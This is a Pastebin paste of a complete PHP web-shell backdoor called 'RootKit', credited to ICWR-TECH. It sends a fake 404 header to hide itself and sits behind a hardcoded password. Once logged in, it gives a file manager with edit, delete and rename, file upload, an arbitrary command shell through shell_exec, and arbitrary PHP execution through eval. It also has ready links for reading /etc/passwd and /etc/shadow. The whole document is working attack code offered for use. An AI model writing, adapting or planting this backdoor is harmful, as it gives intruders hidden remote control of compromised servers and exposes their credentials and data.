Advertisement
VanGans

rootkit backdor

Sep 15th, 2019
463
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.80 KB | None | 0 0
  1. <?php
  2. // RootKit ( PHP BackDoor )
  3. // Copyright (C)2019 - ICWR-TECH
  4. error_reporting(0);
  5. header('HTTP/1.0 404 Not Found', true, 404);
  6. session_start();
  7. $pass = "jancok";
  8. if($_POST['passwd'] == $pass) {
  9.   $_SESSION['rootkit'] = $pass;
  10.   echo "<script>window.location='?'</script>";
  11. }
  12. if($_GET['page'] == "blank") {
  13.   echo "<a href='?'>Back</a>";
  14.   exit();
  15. }
  16. if(isset($_REQUEST['logout'])) {
  17.   session_destroy();
  18.   echo "<script>window.location='?'</script>";
  19. }
  20. if(!($_SESSION['rootkit'])) {
  21. ?>
  22. <title>RootKit ( PHP Backdoor )</title>
  23. <link rel="icon" href="https://img.deusm.com/darkreading/bh-asia-facebook-profile.png">
  24. <style>
  25.   html{
  26.     overflow: auto;
  27.     background: black;
  28.     color: white;
  29.     font-family: "Courier New";
  30.   }
  31.   input {
  32.     background: transparent;
  33.     color: white;
  34.     height: 40px;
  35.     border: 1px solid white;
  36.     border-radius: 20px;
  37.     padding: 5px;
  38.     font-size: 20px;
  39.   }
  40.   .img {
  41.     width: 170px;
  42.     border: 3px solid white;
  43.     border-radius: 20px;
  44.   }
  45. </style>
  46. <table width="100%" height="100%">
  47.   <td align="center">
  48.     <form enctype="multipart/form-data" method="post">
  49.       <img class="img" src="https://img.deusm.com/darkreading/bh-asia-facebook-profile.png"/>
  50.       <br><br>
  51.       <font size="5">( RootKit )</font>
  52.       <br><br>
  53.       <input type="password" name="passwd" placeholder="Enter the password....">
  54.       <input type="submit" value="Login">
  55.       <br>
  56.       <?php echo $_SESSION['rootkit']; ?>
  57.     </form>
  58.   </td>
  59. </table>
  60. <?php
  61. exit();
  62. }
  63. ?>
  64. <?php
  65. $dir_raw = str_replace('\\', "/", getcwd());
  66. $host = $_SERVER['HTTP_HOST'];
  67. if($dn = $_GET['d']) {
  68.   $_SESSION['dir'] = $dn;
  69.   echo "<script>window.location = '?';</script>";
  70. }
  71. if(empty($_SESSION['dir'])) {
  72.   $dir = $dir_raw;
  73. } else {
  74.   $dir = $_SESSION['dir'];
  75. }
  76. $exp = explode("/", $dir);
  77. foreach($exp as $x=>$dirx) {
  78.   if(empty($dirx)){
  79.     continue;
  80.   }
  81.   $do .= "<li class='bar'><a class='a-bar' href='?d=";
  82.   for($i=0;$i<=$x;$i++) {
  83.     $do .= $exp[$i]."/";
  84.   }
  85.   $do .= "'>$dirx</a></li>\n";
  86. }
  87. chdir($dir);
  88. ?>
  89. <title>RootKit ( PHP Backdoor )</title>
  90. <?php
  91. if(isset($_REQUEST['exe_code'])) {
  92.   if($_POST['code']) {
  93.     $_SESSION['code'] = '?>'.$_POST['code'];
  94.   }
  95.   eval($_SESSION['code']);
  96.   echo "<hr><a href='?page=scripting'>Back</a>";
  97.   exit();
  98. }
  99. ?>
  100. <link rel="icon" href="https://img.deusm.com/darkreading/bh-asia-facebook-profile.png">
  101. <style>
  102.   html{
  103.     overflow: auto;
  104.     background: black;
  105.     color: white;
  106.     font-family: "Courier New";
  107.   }
  108.   a {
  109.     text-decoration: none;
  110.     color: white;
  111.   }
  112.   .a-bar {
  113.     text-decoration: none;
  114.     color: black;
  115.   }
  116.   .bar {
  117.     display: inline;
  118.     padding: 5px;
  119.     background: white;
  120.     color: black;
  121.   }
  122.   .baratas {
  123.     overflow: auto;
  124.     border: 1px solid white;
  125.     padding: 10px;
  126.     background: white;
  127.     color: black;
  128.   }
  129.   .close {
  130.     overflow: auto;
  131.     border: 1px solid red;
  132.     background: red;
  133.     color: white;
  134.   }
  135.   .kotak {
  136.     overflow: auto;
  137.     border: 1px solid white;
  138.     padding: 10px;
  139.     color: white;
  140.   }
  141.   .l {
  142.     float: left;
  143.     width: 50%;
  144.   }
  145.   .r {
  146.     float: right;
  147.     width: 50%;
  148.     text-align: right;
  149.   }
  150.   .l1 {
  151.     float: left;
  152.     width: 20%;
  153.     border: 1px solid white;
  154.     padding: 10px;
  155.   }
  156.   .r1 {
  157.     float: right;
  158.     width: 75%;
  159.     border: 1px solid white;
  160.     padding: 10px;
  161.   }
  162.   input {
  163.     background: white;
  164.     color: black;
  165.     border: 1px solid white;
  166.     padding: 5px;
  167.   }
  168.   .file {
  169.     width: 100%;
  170.     height: 50%;
  171.   }
  172. </style>
  173. <div class="baratas">
  174.   <div class="l">
  175.     RootKit ( PHP Backdoor ) - ICWR-TECH
  176.   </div>
  177.   <div class="r">
  178.       <a class="a-bar" href="?page=blank">[_]</a>
  179.       <a class="a-bar" href="?page=blank">[-]</a>
  180.       <a class="close" href="?logout">[X]</a>
  181.   </div>
  182. </div>
  183. <div class="kotak">
  184.   [ <a href="?">File Manager</a> ]
  185.   [ <a href="?page=upload">Upload</a> ]
  186.   [ <a href="?page=shell">Command Shell</a> ]
  187.   [ <a href="?page=scripting">Scripting</a> ]
  188.   [ <a href="?page=about">About</a> ]
  189. </div>
  190. <div class="kotak">
  191.   [ Directory ] => <li class="bar"><a class="a-bar" href="?d=/">/</a></li><?php echo "\n".$do; ?>
  192. </div>
  193. <div class="kotak">
  194.   <div class="l1">
  195.     <div class="baratas">
  196.       Action
  197.     </div>
  198.     <hr>
  199.     [*] <a href="?page=newfile">New File</a>
  200.     <br>
  201.     [*] <a href="?page=newfolder">New Folder</a>
  202.     <hr>
  203.     <div class="baratas">
  204.       Sensitive File
  205.     </div>
  206.     <hr>
  207.     [*] <a href="?file=/etc/passwd">/etc/passwd</a>
  208.     <br>
  209.     [*] <a href="?file=/etc/shadow">/etc/shadow</a>
  210.     <br>
  211.     [*] <a href="?file=/etc/resolv.conf">/etc/resolv.conf</a>
  212.   </div>
  213.   <div class="r1">
  214.       <?php
  215.       if($_GET['file']) {
  216.       ?>
  217. [ <a href="?file=<?php echo $_GET['file']; ?>&delete=true">Delete</a> ]
  218. [ <a href="?file=<?php echo $_GET['file']; ?>&edit=true">Edit</a> ]
  219. [ <a href="?file=<?php echo $_GET['file']; ?>&rename=true">Rename</a> ]
  220. [ <a href="?">Back</a> ]
  221. <hr>
  222.       <?php
  223.         if(!$_GET['edit'] && !$_GET['delete'] && !$_GET['rename']) {
  224.           echo "<textarea class='file'>".htmlspecialchars(file_get_contents($_GET[file]))."</textarea>";
  225.         }
  226.         if($_GET['edit'] == "true") {
  227.           echo "<form enctype='multipart/form-data' method='post'>
  228.          <textarea class='file' name='edit_file'>".htmlspecialchars(file_get_contents($_GET['file']))."</textarea>
  229.          <br><br>
  230.          <input type='submit' value='Save File'>
  231.          </form>
  232.          ";
  233.           if($_POST['edit_file']) {
  234.             $fedit = fopen($_GET['file'], "w");
  235.             if(fwrite($fedit, $_POST['edit_file'])) {
  236.               fclose($fedit);
  237.               echo "<script>alert('Edit File Success !!!'); window.location = '?file=$_GET[file]';</script>";
  238.             } else {
  239.               echo "<script>alert('Edit File Failed !!!'); window.location = '?file=$_GET[file]';</script>";
  240.             }
  241.           }
  242.         }
  243.         if($_GET['delete'] == "true") {
  244.           if(unlink($_GET['file'])) {
  245.             echo "<script>alert('File Deleted !!!'); window.location = '?';</script>";
  246.           } else {
  247.             echo "<script>alert('Failed Deleted File !!!'); window.location = '?file=$_GET[file]';</script>";
  248.           }
  249.         }
  250.         if($_GET['rename'] == "true") {
  251.           echo "<form enctype='multipart/form-data' method='post'>
  252.          ".htmlspecialchars($_GET['file'])." [ To ] <input type='text' name='rename_file'>
  253.          <input type='submit' value='Rename'>
  254.          </form>
  255.          ";
  256.           if($_POST['rename_file']) {
  257.             if(copy($_GET['file'], $_POST['rename_file'])) {
  258.               unlink($_GET['file']);
  259.               echo "<script>alert('File Renamed !!!'); window.location = '?';</script>";
  260.             } else {
  261.               echo "<script>alert('Failed Rename File !!!'); window.location = '?file=$_GET[file]';</script>";
  262.             }
  263.           }
  264.         }
  265.       }
  266.       if(!$_GET) {
  267.         echo "<form enctype='multipart/form-data' method='post'>
  268.        Rename This Folder : <input type='text' name='rename_folder'><input type='submit' value='Rename'>
  269.        <a class='baratas' href='?rmfolder=$dir'>Remove This Folder</a>
  270.        </form>
  271.        <hr>
  272.        ";
  273.         if($_POST['rename_folder']) {
  274.           if(mkdir("../".$_POST['rename_folder'])) {
  275.             rmdir("../".$dir);
  276.             echo "<script>alert('This Folder is Renamed !!!'); window.location = '?d=$dir/..';</script>";
  277.           } else {
  278.             echo "<script>alert('This Folder is Failed Rename !!!'); window.location = '?';</script>";
  279.           }
  280.         }
  281.         if($_GET['rmfolder']) {
  282.           if(rmdir($dir)) {
  283.             echo "<script>alert('Folder Deleted !!!'); window.location = '?d=$dir/..';</script>";
  284.           } else {
  285.             echo "<script>alert('This Folder is Failed Delete !!!'); window.location = '?';</script>";
  286.           }
  287.         }
  288.         $scndir = scandir($dir);
  289.         foreach($scndir as $sdir) {
  290.           if(is_dir($dir."/".$sdir)) {
  291.             echo "<a href='?d=$dir/$sdir'><img height='20' src='https://raw.githubusercontent.com/ICWR-TECH/php-rootkit/master/folder.png'/> ".htmlspecialchars($sdir)."</a><br>";
  292.           }
  293.           if(is_file($dir."/".$sdir)) {
  294.             echo "<a href='?file=$dir/$sdir'><img height='20' src='https://raw.githubusercontent.com/ICWR-TECH/php-rootkit/master/file.png'/> ".htmlspecialchars($sdir)."</a><br>";
  295.           }
  296.         }
  297.       }
  298.       if($_GET['page'] == "upload") {
  299.         echo "Upload File
  300.        <br><br>
  301.        <form enctype='multipart/form-data' method='post'>
  302.        <input type='file' name='up'>
  303.        <input type='submit' value='Upload'>
  304.        </form>
  305.        ";
  306.         if($_FILES['up']) {
  307.           if(copy($_FILES['up']['tmp_name'], $_FILES['up']['name'])) {
  308.             echo "[+] Success : ".$_FILES['up']['name'];
  309.           } else {
  310.             echo "[-] Failed : ".$_FILES['up']['name'];
  311.           }
  312.           echo "<br>";
  313.         }
  314.       }
  315.       if($_GET['page'] == "shell") {
  316.         if($_POST['shell']) {
  317.           echo "RootKit@$host:~ $ ".$_POST['shell'];
  318.           echo "<pre>".htmlspecialchars(shell_exec($_POST['shell']))."</pre>";
  319.         }
  320.         echo "<form enctype='multipart/form-data' method='post'>
  321.        RootKit@$host:~ $ <input type='text' name='shell'><input type='submit' value='~'>
  322.        </form>";
  323.       }
  324.       if($_GET['page'] == "scripting") {
  325.         if(empty($str_code)) {
  326.           $str_code = "<?php echo 'Hello World'; ?>";
  327.         } else {
  328.           $str_code = htmlspecialchars($_SESSION['code']);
  329.         }
  330.         echo "<form action='?exe_code' enctype='multipart/form-data' method='post'>
  331.        <center>Running PHP Script</center>
  332.        <hr>
  333.        <textarea class='file' name='code'>$str_code</textarea>
  334.        <bR><br>
  335.        <input type='submit' value='Run Script !!!'>
  336.        </form>
  337.        ";
  338.       }
  339.       if($_GET['page'] == "about") {
  340.         echo "
  341.        <center>
  342.        <font size='20'>RootKit ( PHP Backdoor )</font>
  343.        <br><br>
  344.        <font size='5'>ICWR-TECH</font>
  345.        <bR><br>
  346.        Getting Dizzy Our Feel Cozy
  347.        <br><br>
  348.        Release : <a href='https://github.com/icwr-tech/php-rootkit'>https://github.com/icwr-tech/php-rootkit</a>
  349.        </center>
  350.        ";
  351.       }
  352.       if($_GET['page'] == "newfile") {
  353.         echo "<form enctype='multipart/form-data' method='post'>
  354.        <textarea class='file' name='isi_file'>".htmlspecialchars(file_get_contents($_GET['file']))."</textarea>
  355.        <br><br>
  356.        <input type='text' name='name_file'>
  357.        <br><bR>
  358.        <input type='submit' value='Save File'>
  359.        </form>
  360.        ";
  361.         if($_POST['name_file']) {
  362.           $nfile = fopen($_POST['name_file'], "w");
  363.           if(fwrite($nfile, $_POST['isi_file'])) {
  364.             echo "<script>alert('File Created !!!'); window.location = '?';</script>";
  365.           } else {
  366.             echo "<script>alert('Created File Failed !!!'); window.location = '?';</script>";
  367.           }
  368.         }
  369.       }
  370.       if($_GET['page'] == "newfolder") {
  371.         echo "<form enctype='multipart/form-data' method='post'>
  372.        New Folder : <input type='text' name='name_folder'>
  373.        <input type='submit' value='Save Folder'>
  374.        </form>
  375.        ";
  376.         if($_POST['name_folder']) {
  377.           if(mkdir($_POST['name_folder'])) {
  378.             echo "<script>alert('Folder Created !!!'); window.location = '?';</script>";
  379.           } else {
  380.             echo "<script>alert('Created Folder Failed !!!'); window.location = '?';</script>";
  381.           }
  382.         }
  383.       }
  384.       ?>
  385.   </div>
  386. </div>
  387. <div class="kotak">
  388.   <div class="l">
  389.     Free Space : <?php echo disk_free_space("/"); ?> Byte
  390.   </div>
  391.   <div class="r">
  392.     Copyright &copy;2019 - ICWR-TECH
  393.   </div>
  394. </div>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement